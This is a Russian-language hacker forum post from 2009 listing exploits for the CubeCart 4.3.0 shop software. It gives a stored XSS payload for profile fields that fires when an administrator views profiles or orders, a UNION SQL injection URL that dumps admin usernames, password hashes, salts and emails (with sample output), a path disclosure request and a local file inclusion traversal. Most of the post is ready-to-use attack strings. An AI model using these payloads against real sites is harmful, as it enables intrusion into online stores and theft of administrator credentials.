Показать сообщение отдельно

  #237  
Старый 30.11.2009, 10:51
Bb0y
Участник форума
Регистрация: 30.10.2009
Сообщений: 103
С нами: 8700497

Репутация: 388
По умолчанию

CubeCart 4.3.0
Активная xss:

http://[localhost]/index.php?_a=profile
в редактировании профиля.
В поля:
Название Компании
Город

вписываем:
Цитата:
"><script>alert();</script>
и сохраняем. При просмотре профилей и заказов администратором код выполнится.
SQL injection:

exploit:
Цитата:
http://[localhost]/index.php?_a=viewProd&productId=1+union+select+con cat_ws(0x3a,adminId,0x3a,username,0x3a,password,0x 3a,salt,0x3a,email)+from+[tbl_prefix]CubeCart_admin_users+limit+1,1+--+Bb0y
в результате инъекции ошибка хоть и пишется, но данные все - равно выходят.
Пример:
Цитата:
Error Message:
1222: The used SELECT statements have a different number of columns
SQL:
SELECT `productId`, `quantity` FROM `store_CubeCart_order_inv` WHERE `cart_order_id` = '1:::admin:::f9cd96db9aab0ed6669c35a9054befcb:::wo JkeW:::yourname@example.com' AND `productId` <> 1 union select concat_ws(0x3a,adminId,0x3a,username,0x3a,password ,0x3a,salt,0x3a,email) from store_CubeCart_admin_users limit 1,1 --
Раскрытие путей:
http://[localhost]/index.php?_a=viewProd&productId[]=1
Локальный инклуд:
http://[localhost]/admin.php?_g=../../../giftCertificates
файл должен быть вида: [file_name].inc.php - особо не разбирался, видимо надо баловаться с нулл - байтом.

Последний раз редактировалось Bb0y; 30.11.2009 в 11:13..
 
Ответить с цитированием